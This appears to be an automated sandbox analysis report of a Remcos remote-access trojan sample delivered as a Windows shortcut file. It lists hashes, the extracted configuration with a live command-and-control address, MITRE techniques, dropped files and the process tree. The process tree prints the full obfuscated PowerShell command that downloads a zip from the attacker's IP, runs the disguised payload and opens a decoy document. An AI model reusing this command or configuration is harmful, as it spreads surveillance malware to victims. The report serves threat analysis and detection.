remcos | cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
31/08/2024, 01:58

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General

Target

cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
Size

47KB
MD5

8b3dc64090b0b26eda4f1195f493160d
SHA1

bd0b4c1d9e8b84465714287727ba5293f9a8eb61
SHA256

cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30
SHA512

ddbe1ad300d613531b6ffcb9a8ff607b1e6e7cf676ce738c31d138e6154ff0ee3c1b8d4d8b67c8fec5da444c845b62475736c228eb89d3b013a3ddcb15365deb
SSDEEP

48:88muavUQSbXTo87Cj3YMEDo/FoZaxCogDDo/LX7LdCZZGXu/dZZIa7x:88y8Nkgm3hX+UxCgLX7BuqQ

Score

10^/10

remcos feetfuck discovery rat

Malware Config

Extracted

Family

remcos

Botnet

feetfuck

83.222.191.201:24251

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XTJ1YO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	3532	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
3652	Newfts.exe
2244	Newfts.exe

Loads dropped DLL 8 IoCs

pid	Process
3652	Newfts.exe
3652	Newfts.exe
3652	Newfts.exe
3652	Newfts.exe
2244	Newfts.exe
2244	Newfts.exe
2244	Newfts.exe
2244	Newfts.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2244 set thread context of 5100	2244	Newfts.exe	94

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Newfts.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3780	WINWORD.EXE
3780	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
3652	Newfts.exe
2244	Newfts.exe
2244	Newfts.exe
5100	cmd.exe
5100	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2244	Newfts.exe
5100	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3532	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE
3780	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 3532	3048	cmd.exe	87
PID 3048 wrote to memory of 3532	3048	cmd.exe	87
PID 3532 wrote to memory of 3652	3532	powershell.exe	91
PID 3532 wrote to memory of 3652	3532	powershell.exe	91
PID 3532 wrote to memory of 3652	3532	powershell.exe	91
PID 3532 wrote to memory of 3780	3532	powershell.exe	93
PID 3532 wrote to memory of 3780	3532	powershell.exe	93
PID 3652 wrote to memory of 2244	3652	Newfts.exe	92
PID 3652 wrote to memory of 2244	3652	Newfts.exe	92
PID 3652 wrote to memory of 2244	3652	Newfts.exe	92
PID 2244 wrote to memory of 5100	2244	Newfts.exe	94
PID 2244 wrote to memory of 5100	2244	Newfts.exe	94
PID 2244 wrote to memory of 5100	2244	Newfts.exe	94
PID 2244 wrote to memory of 5100	2244	Newfts.exe	94
PID 5100 wrote to memory of 4564	5100	cmd.exe	108
PID 5100 wrote to memory of 4564	5100	cmd.exe	108
PID 5100 wrote to memory of 4564	5100	cmd.exe	108
PID 5100 wrote to memory of 4564	5100	cmd.exe	108
PID 5100 wrote to memory of 4564	5100	cmd.exe	108

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\cb43e05491b09d4c7da14d3f42d11a2bb4fa81b0fb47717d44c75426832cdf30.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo QMwlXCkteAQTQqnkaJqrUqs; echo QvYiYqvrrHquSStJfMRfSfWhN; echo bbOXmbTScxuUqnRAgrxICMaBVDaWjzRzRVcfkbymVEadrSAtp; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo smmOpvMyMQBsjhmNQati; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo XmLObXLAbAaEvFXwLygA; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo jKSqGTomhhZFxOMFkLZBsdHuhOCDBrMzMONLWouYJOCxTyelGMtYZGs; s''t''a''rt brt_1_0147.doc
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3532
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3652
  - - C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2244
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:5100
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4564
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD3496.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o0nins4q.4al.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a0230438

Filesize
1.2MB

MD5
df1a53c07d4a9f7de1a6cc0684273c57

SHA1
a20ce1430eb68dbcb484bcdf15955aaa6d055560

SHA256
f9c659e162f95d4ebc62ed590f09a50edffcacb92697fbe376a14ecc2766e545

SHA512
038c0d660c4e581d65b7c8abe4b3f19c43d8b9215957996625f6be415b91f6d3bfc05287882853125c760ba83b140a436d59faa27d08c8d55a9a10996cff5813

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
425B

MD5
3bf1f6f3f55328b484716206a48dcedb

SHA1
1144cd7c52db97772fd0572fc70f550e33142ff3

SHA256
cd04b9e32c90deac96a31969d7ade436a6b43773ab08a1c4dc680192c107b0e4

SHA512
a26c75e7a478dcc42213407a79df27cb1df854476224868975d3d480f6a900c8be3f0b542f83fc665c4a0389fa8fd4b0f91be99c8477c4cf5b3a6a06622d37e1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
4KB

MD5
092c012786d913ff3f4d19c04e9cbef9

SHA1
2723551e6bdc4631f8d51c07a515161a79d252de

SHA256
f1d11beaea7bcc04d690bf37bc694aefd6fb619fdfd7df66e21866460aeea4ae

SHA512
589bbe0542b48b1dd337e9fb5bc1c1e62394af4638a1256c0d63dfee17cdaa7da5d9989b87a41e39a1c563d830eea74d96b112b645558dbfa4fccbd5ac433e45

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
02af4f23f97dc0f280c2ba7a58a0413d

SHA1
70f59db909c0c2188b0252af7ffb28ec4e307ad1

SHA256
e2c375cafd276bf967cd0a2cfe441d49afc28d2cf0cb642ab1742b044bab3d39

SHA512
4a978d73d1ac1e84470af5b8aa302d377c5de6269248a49db592c42b56e70ed975ddd35972f88720e2b46845553d2b3c71a50dd91623bed86b8db77731329a81

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe

Filesize
2.1MB

MD5
db7e67835fce6cf9889f0f68ca9c29a9

SHA1
5565afda37006a66f0e4546105be60bbe7970616

SHA256
dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738

SHA512
bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\ProductStatistics3.dll

Filesize
1.1MB

MD5
59c15c71fd599ff745a862d0b8932919

SHA1
8384f88b4cac4694cf510ca0d3f867fd83cc9e18

SHA256
c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2

SHA512
be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\RegisterIdr.dll

Filesize
1.4MB

MD5
6fdb2e9ca6b7a5ad510e2b29831e3bc8

SHA1
4a14ee9d5660eb271a6b5f18a55ac3e05f952c68

SHA256
f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38

SHA512
d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\kytarvx

Filesize
31KB

MD5
5dc69a3e2fda6cb740f363ef77edcc13

SHA1
c177fabf17346531e07d562be11915bf2822148a

SHA256
7c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621

SHA512
b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\nywrof

Filesize
1.0MB

MD5
471076308d78944d45ab35d37134134a

SHA1
05cf2cf6e5d11ce10425b14d68cda3246cc47263

SHA256
38d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b

SHA512
7f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3

Download Submit
C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

Filesize
47KB

MD5
2616f33bfc84fecd6496c0e3bfbfb1b0

SHA1
e4f4fba392ba4a245415729a82aaa486ca31b2ba

SHA256
24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

SHA512
b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

Download Submit
memory/2244-118-0x0000000002ED0000-0x0000000003042000-memory.dmp

Filesize
1.4MB

Download
memory/2244-89-0x0000000074880000-0x00000000749FB000-memory.dmp

Filesize
1.5MB

Download
memory/2244-82-0x0000000002B70000-0x0000000002C8E000-memory.dmp

Filesize
1.1MB

Download
memory/2244-86-0x0000000002ED0000-0x0000000003042000-memory.dmp

Filesize
1.4MB

Download
memory/2244-90-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/2244-114-0x0000000074880000-0x00000000749FB000-memory.dmp

Filesize
1.5MB

Download
memory/2244-116-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

Download
memory/2244-117-0x0000000002B70000-0x0000000002C8E000-memory.dmp

Filesize
1.1MB

Download
memory/3532-77-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

Filesize
10.8MB

Download
memory/3532-2-0x00007FFE505C3000-0x00007FFE505C5000-memory.dmp

Filesize
8KB

Download
memory/3532-18-0x00000255F0A20000-0x00000255F0A2A000-memory.dmp

Filesize
40KB

Download
memory/3532-13-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

Filesize
10.8MB

Download
memory/3532-14-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

Filesize
10.8MB

Download
memory/3532-12-0x00000255F0660000-0x00000255F0682000-memory.dmp

Filesize
136KB

Download
memory/3532-16-0x00007FFE505C0000-0x00007FFE51081000-memory.dmp

Filesize
10.8MB

Download
memory/3532-17-0x00000255F0A30000-0x00000255F0A42000-memory.dmp

Filesize
72KB

Download
memory/3652-75-0x0000000002F80000-0x00000000030F2000-memory.dmp

Filesize
1.4MB

Download
memory/3652-73-0x0000000000400000-0x0000000000669000-memory.dmp

Filesize
2.4MB

Download
memory/3652-74-0x0000000002B60000-0x0000000002C7E000-memory.dmp

Filesize
1.1MB

Download
memory/3652-43-0x0000000002B60000-0x0000000002C7E000-memory.dmp

Filesize
1.1MB

Download
memory/3652-47-0x0000000002F80000-0x00000000030F2000-memory.dmp

Filesize
1.4MB

Download
memory/3652-50-0x0000000074880000-0x00000000749FB000-memory.dmp

Filesize
1.5MB

Download
memory/3652-51-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3780-72-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-78-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-76-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-91-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/3780-92-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/3780-71-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-308-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-70-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-310-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-309-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/3780-307-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/4564-289-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-282-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-287-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-288-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-281-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-278-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-277-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4564-311-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

Download
memory/4564-312-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

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memory/4564-313-0x0000000000400000-0x0000000000483000-memory.dmp

Filesize
524KB

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memory/5100-275-0x0000000074880000-0x00000000749FB000-memory.dmp

Filesize
1.5MB

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memory/5100-138-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

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